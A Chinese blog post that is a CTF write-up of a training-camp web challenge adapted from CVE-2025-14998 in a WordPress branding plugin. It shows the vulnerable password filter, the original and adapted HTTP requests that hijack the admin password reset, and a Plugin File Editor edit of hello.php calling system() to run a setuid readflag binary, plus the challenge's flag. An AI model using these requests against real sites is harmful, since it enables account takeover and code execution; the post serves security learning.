Post

一道基于CVE-2025-14998改编的web题

2026年第三届网络安全青训营的结营考核

一道基于CVE-2025-14998改编的web题

0.参考文献

https://github.com/KTN1990/CVE-2025-14998 https://zone.ci/secarticles/wx/482915.html

1.模仿CVE-2025-14998

题目给了一个branda-white-labeling 3.4.24插件,虽然检索过存在CVE,但是这个插件被极致地精简过,直接使用Payload不现实。

与https://plugins.trac.wordpress.org/browser/branda-white-labeling/tags/3.4.24/inc/modules/login-screen/signup-password.php作对比,原本有问题的钩子是 add_filter('random_password', array($this, 'password_random_password_filter'), 10, 4);,这个题目中修改了一下,变为了add_filter('random_password', array($this, 'custom_password'), 10, 4); 原来的PoC思路是将password_1赋值导致password被感染:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public function password_random_password_filter( $password ) {
    global $wpdb, $signup_password_use_encryption;

    if ( isset( $_GET['key'] ) && ! empty( $_GET['key'] ) ) {
        $key = $_GET['key'];
    } elseif ( isset( $_POST['key'] ) && ! empty( $_POST['key'] ) ) {
        $key = $_POST['key'];
    }

    if ( ! empty( $_POST['password_1'] ) ) {
        $password = $_POST['password_1'];
    } elseif ( ! empty( $key ) ) {
        $signup = $wpdb->get_row(
            $wpdb->prepare(
                "SELECT * FROM $wpdb->signups WHERE activation_key = '%s'",
                $key
            )
        );

        if ( ! ( empty( $signup ) || $signup->active ) ) {
            $meta = maybe_unserialize( $signup->meta );

            if ( ! empty( $meta['password'] ) ) {
                if ( 'yes' === $signup_password_use_encryption ) {
                    $password = $this->password_decrypt( $meta['password'] );
                } else {
                    $password = $meta['password'];
                }
            }
        }
    }

    return $password;
}

在本题中可以观察到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function custom_password($password, $length = 12, $special_chars = true, $extra_special_chars = false) {
        if (isset($_POST['branda_password']) && !empty($_POST['branda_password'])) {
            return sanitize_text_field($_POST['branda_password']);
        }

        if (isset($_GET['branda_password']) && !empty($_GET['branda_password'])) {
            return sanitize_text_field($_GET['branda_password']);
        }

        if (isset($_REQUEST['new_password']) && !empty($_REQUEST['new_password'])) {
            return sanitize_text_field($_REQUEST['new_password']);
        }

        return $password;
    }

原本的payload是:

1
2
3
4
5
6
7
8
POST /wp/wp-login.php?action=lostpassword HTTP/1.1
Host: example.local
Content-Type: application/x-www-form-urlencoded

user_login=admin&
redirect_to=&
password_1=EfUSmvnTun5XbvE6RvIB&
wp-submit=Get+New+Password

我们可以照猫画虎。这里的函数最后返回的是password,直接大胆猜测这个函数返回值应该就是password,所以模仿原本的payload修改为:

1
2
3
4
5
6
7
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: chal.thuctf.redbud.info:32960
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 115

user_login=admin&redirect_to=&new_password=123456123456&branda_password=123456123456&wp-submit=Get+New+Password

其中形参length默认为12,不知道啥意思,所以密码也设为12位,branda_password和new_password都劫持一下,防止出现意外。

2.覆盖原始密码

用下列链接修改密码

1
http://chal.thuctf.redbud.info:32960//wp-login.php?login=admin&key=EfUSmvnTun5XbvE6RvIB&action=rp

3.获取flag

在Tools/Plugin File Editor中修改hello.php,直接读取flag未果,上传webshell遭不测,遂阅读Dockerfile发现readflag是4755权限,可以执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
FROM wordpress:6.4-php8.2-apache

RUN apt-get update && apt-get install -y \
    wget \
    unzip \
    gcc \
    mariadb-server \
    mariadb-client \
    supervisor \
    && rm -rf /var/lib/apt/lists/*

COPY wordpress/readflag.c /tmp/readflag.c
COPY wordpress/branda-white-labeling-3.4.24.zip /tmp/branda.zip
COPY wordpress/wp-cli.phar /usr/local/bin/wp
RUN chmod +x /usr/local/bin/wp

RUN gcc -o /readflag /tmp/readflag.c && \
    chmod 4755 /readflag && \
    chown root:root /readflag && \
    rm /tmp/readflag.c

RUN mkdir -p /run/mysqld && \
    chown mysql:mysql /run/mysqld && \
    mkdir -p /var/log/supervisor

RUN cp -r /usr/src/wordpress/* /var/www/html/ && \
    chown -R www-data:www-data /var/www/html

COPY config/supervisord.conf /etc/supervisor/conf.d/supervisord.conf
COPY config/init-db.sh /usr/local/bin/init-db.sh
COPY config/setup-wordpress.sh /usr/local/bin/setup-wordpress.sh
COPY config/entrypoint.sh /usr/local/bin/ctf-entrypoint.sh

RUN chmod +x /usr/local/bin/init-db.sh \
    /usr/local/bin/setup-wordpress.sh \
    /usr/local/bin/ctf-entrypoint.sh

EXPOSE 80

ENTRYPOINT ["/usr/local/bin/ctf-entrypoint.sh"]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
/**
 * @package Hello_Dolly
 * @version 1.7.2
 */
/*
Plugin Name: Hello Dolly
Plugin URI: http://wordpress.org/plugins/hello-dolly/
Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page.
Author: Matt Mullenweg
Version: 1.7.2
Author URI: http://ma.tt/
*/
/*
$dir = '/';
if (is_dir($dir)) {
   $files = scandir($dir);
   foreach ($files as $file) {
       if ($file !== '.' && $file !== '..') {
           echo $file . "\n";
       }
   }
}
*/
/*
$filename = '/readflag';
$content = file_get_contents($filename);
if ($content === false) {
echo "无法读取文件!";
} else {
	echo $content;
}
*/
echo "<pre>";
$last_line = system('/readflag', $retval);
echo "</pre>";
echo "最后一行输出: " . $last_line . PHP_EOL;
echo "返回状态码: " . $retval;

访问http://chal.thuctf.redbud.info:32960/wp-content/plugins/hello.php, 获得:

1
flag{fec49326-d7a7-46ce-8ace-9ff611144a54}
This post is licensed under CC BY 4.0 by the author.